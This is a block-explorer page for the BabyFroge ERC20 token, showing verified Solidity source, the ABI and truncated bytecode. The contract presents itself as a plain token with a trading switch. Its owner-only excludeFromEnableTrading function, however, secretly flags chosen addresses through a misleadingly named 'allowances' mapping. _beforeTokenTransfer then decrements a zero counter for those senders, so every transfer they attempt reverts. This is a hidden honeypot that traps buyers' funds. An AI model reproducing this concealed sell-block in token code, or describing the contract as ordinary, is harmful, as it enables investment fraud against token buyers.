ETH Price: $3,068.29 (+1.41%)
Gas: 5 Gwei

Token

BabyFroge (BabyFroge)
 

Overview

Max Total Supply

100,000,000 BabyFroge

Holders

358

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyFroge

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-24
*/

/**
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "BabyFrogeOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is BabyFroge the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer BabyFroge amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: BabyFroge decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "BabyFroge: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount BabyFroge exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address BabyFroge");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from BabyFroge the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BabyFrogeERC20: approve from the zero address");
        require(spender != address(0), "ERC20: BabyFroge approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BabyFroge is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifuserssss;

    constructor () ERC20("BabyFroge", "BabyFroge") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExomEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getuseyurds(address _address) public view returns (uint256) {
        return ifuserssss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifuserssss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already BabyFroge enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address BabyFroge");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not BabyFroge yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getuseyurds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExomEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b506040518060400160405280600981526020017f4261627946726f676500000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f4261627946726f6765000000000000000000000000000000000000000000000081525081600290816200008e9190620007cd565b508060039081620000a09190620007cd565b505050620000c3620000b76200017c60201b60201c565b6200018360201b60201c565b600160065f620000d86200017c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620001766200013b6200017c60201b60201c565b6200014b6200024660201b60201c565b600a62000159919062000a3a565b6305f5e1006200016a919062000a8a565b6200024e60201b60201c565b62000c0a565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b69062000b58565b60405180910390fd5b620002d25f8383620003be60201b60201c565b8060045f828254620002e5919062000b78565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000339919062000b78565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039f919062000bc3565b60405180910390a3620003ba5f83836200053760201b60201c565b5050565b620003d18383836200053c60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200043a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004d7575060085f620004556200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15620005325760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906200052c9062000bde565b91905055505b505050565b505050565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005e557607f821691505b602082108103620005fb57620005fa620005a0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200065f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000622565b6200066b868362000622565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620006b5620006af620006a98462000683565b6200068c565b62000683565b9050919050565b5f819050919050565b620006d08362000695565b620006e8620006df82620006bc565b8484546200062e565b825550505050565b5f90565b620006fe620006f0565b6200070b818484620006c5565b505050565b5b818110156200073257620007265f82620006f4565b60018101905062000711565b5050565b601f82111562000781576200074b8162000601565b620007568462000613565b8101602085101562000766578190505b6200077e620007758562000613565b83018262000710565b50505b505050565b5f82821c905092915050565b5f620007a35f198460080262000786565b1980831691505092915050565b5f620007bd838362000792565b9150826002028217905092915050565b620007d88262000569565b67ffffffffffffffff811115620007f457620007f362000573565b5b620008008254620005cd565b6200080d82828562000736565b5f60209050601f83116001811462000843575f84156200082e578287015190505b6200083a8582620007b0565b865550620008a9565b601f198416620008538662000601565b5f5b828110156200087c5784890151825560018201915060208501945060208101905062000855565b868310156200089c578489015162000898601f89168262000792565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200093b57808604811115620009135762000912620008b1565b5b6001851615620009235780820291505b80810290506200093385620008de565b9450620008f3565b94509492505050565b5f8262000955576001905062000a27565b8162000964575f905062000a27565b81600181146200097d57600281146200098857620009be565b600191505062000a27565b60ff8411156200099d576200099c620008b1565b5b8360020a915084821115620009b757620009b6620008b1565b5b5062000a27565b5060208310610133831016604e8410600b8410161715620009f85782820a905083811115620009f257620009f1620008b1565b5b62000a27565b62000a078484846001620008ea565b9250905081840481111562000a215762000a20620008b1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a468262000683565b915062000a538362000a2e565b925062000a827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000944565b905092915050565b5f62000a968262000683565b915062000aa38362000683565b925082820262000ab38162000683565b9150828204841483151762000acd5762000acc620008b1565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373205f8201527f4261627946726f67650000000000000000000000000000000000000000000000602082015250565b5f62000b4060298362000ad4565b915062000b4d8262000ae4565b604082019050919050565b5f6020820190508181035f83015262000b718162000b32565b9050919050565b5f62000b848262000683565b915062000b918362000683565b925082820190508082111562000bac5762000bab620008b1565b5b92915050565b62000bbd8162000683565b82525050565b5f60208201905062000bd85f83018462000bb2565b92915050565b5f62000bea8262000683565b91505f820362000bff5762000bfe620008b1565b5b600182039050919050565b6123938062000c185f395ff3fe60806040526004361061012d575f3560e01c8063641d601c116100aa5780638da5cb5b1161006e5780638da5cb5b1461041457806395d89b411461043e578063a457c2d714610468578063a9059cbb146104a4578063dd62ed3e146104e0578063f2fde38b1461051c57610134565b8063641d601c1461034857806370a0823114610370578063715018a6146103ac5780637ae34fec146103c25780638a8c523c146103fe57610134565b8063313ce567116100f1578063313ce5671461024057806337df28661461026a57806339509351146102a65780634ada218b146102e257806355b6ed5c1461030c57610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e5780631ce9029d146101c857806323b872dd1461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610544565b604051610159919061186a565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061191b565b6105d4565b6040516101959190611973565b60405180910390f35b3480156101a9575f80fd5b506101b26105f1565b6040516101bf919061199b565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e991906119b4565b6105fa565b6040516101fb9190611973565b60405180910390f35b34801561020f575f80fd5b5061022a600480360381019061022591906119df565b61068e565b6040516102379190611973565b60405180910390f35b34801561024b575f80fd5b506102546107a8565b6040516102619190611a4a565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906119b4565b6107b0565b60405161029d919061199b565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c7919061191b565b6107f6565b6040516102d99190611973565b60405180910390f35b3480156102ed575f80fd5b506102f661089d565b6040516103039190611973565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190611a63565b6108af565b60405161033f9190611973565b60405180910390f35b348015610353575f80fd5b5061036e60048036038101906103699190611acb565b6108d9565b005b34801561037b575f80fd5b50610396600480360381019061039191906119b4565b610a44565b6040516103a3919061199b565b60405180910390f35b3480156103b7575f80fd5b506103c0610a89565b005b3480156103cd575f80fd5b506103e860048036038101906103e391906119b4565b610b10565b6040516103f59190611973565b60405180910390f35b348015610409575f80fd5b50610412610b62565b005b34801561041f575f80fd5b50610428610c49565b6040516104359190611b2a565b60405180910390f35b348015610449575f80fd5b50610452610c71565b60405161045f919061186a565b60405180910390f35b348015610473575f80fd5b5061048e6004803603810190610489919061191b565b610d01565b60405161049b9190611973565b60405180910390f35b3480156104af575f80fd5b506104ca60048036038101906104c5919061191b565b610de7565b6040516104d79190611973565b60405180910390f35b3480156104eb575f80fd5b5061050660048036038101906105019190611a63565b610e04565b604051610513919061199b565b60405180910390f35b348015610527575f80fd5b50610542600480360381019061053d91906119b4565b610e86565b005b60606002805461055390611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461057f90611b70565b80156105ca5780601f106105a1576101008083540402835291602001916105ca565b820191905f5260205f20905b8154815290600101906020018083116105ad57829003601f168201915b5050505050905090565b5f6105e76105e0610f7c565b8484610f83565b6001905092915050565b5f600454905090565b5f60085f610606610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610791578281101561077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c10565b60405180910390fd5b61079085610788610f7c565b858403610f83565b5b61079c858585611146565b60019150509392505050565b5f6012905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610893610802610f7c565b848460015f61080f610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461088e9190611c5b565b610f83565b6001905092915050565b60095f9054906101000a900460ff1681565b6008602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b6108e1610f7c565b73ffffffffffffffffffffffffffffffffffffffff166108ff610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c90611cfe565b60405180910390fd5b8160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508160085f6109b5610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a91610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610aaf610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc90611cfe565b60405180910390fd5b610b0e5f61133a565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610b6a610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b88610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590611cfe565b60405180910390fd5b60095f9054906101000a900460ff1615610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611d8c565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c8090611b70565b80601f0160208091040260200160405190810160405280929190818152602001828054610cac90611b70565b8015610cf75780601f10610cce57610100808354040283529160200191610cf7565b820191905f5260205f20905b815481529060010190602001808311610cda57829003601f168201915b5050505050905090565b5f8060015f610d0e610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf90611e1a565b60405180910390fd5b610ddc610dd3610f7c565b85858403610f83565b600191505092915050565b5f610dfa610df3610f7c565b8484611146565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8e610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610eac610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611cfe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611ea8565b60405180910390fd5b610f798161133a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f36565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fc4565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611139919061199b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90612052565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611222576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611219906120e0565b60405180910390fd5b60095f9054906101000a900460ff1680611282575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806112d3575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061216e565b60405180910390fd5b5f81036113295761132483835f6113fd565b611335565b6113348383836113fd565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611462906121fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d09061228a565b60405180910390fd5b6114e4838383611672565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612318565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115f59190611c5b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611659919061199b565b60405180910390a361166c8484846117d6565b50505050565b61167d8383836117db565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116e557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611779575060085f6116f7610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156117d15760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906117cb90612336565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118175780820151818401526020810190506117fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61183c826117e0565b61184681856117ea565b93506118568185602086016117fa565b61185f81611822565b840191505092915050565b5f6020820190508181035f8301526118828184611832565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118b78261188e565b9050919050565b6118c7816118ad565b81146118d1575f80fd5b50565b5f813590506118e2816118be565b92915050565b5f819050919050565b6118fa816118e8565b8114611904575f80fd5b50565b5f81359050611915816118f1565b92915050565b5f80604083850312156119315761193061188a565b5b5f61193e858286016118d4565b925050602061194f85828601611907565b9150509250929050565b5f8115159050919050565b61196d81611959565b82525050565b5f6020820190506119865f830184611964565b92915050565b611995816118e8565b82525050565b5f6020820190506119ae5f83018461198c565b92915050565b5f602082840312156119c9576119c861188a565b5b5f6119d6848285016118d4565b91505092915050565b5f805f606084860312156119f6576119f561188a565b5b5f611a03868287016118d4565b9350506020611a14868287016118d4565b9250506040611a2586828701611907565b9150509250925092565b5f60ff82169050919050565b611a4481611a2f565b82525050565b5f602082019050611a5d5f830184611a3b565b92915050565b5f8060408385031215611a7957611a7861188a565b5b5f611a86858286016118d4565b9250506020611a97858286016118d4565b9150509250929050565b611aaa81611959565b8114611ab4575f80fd5b50565b5f81359050611ac581611aa1565b92915050565b5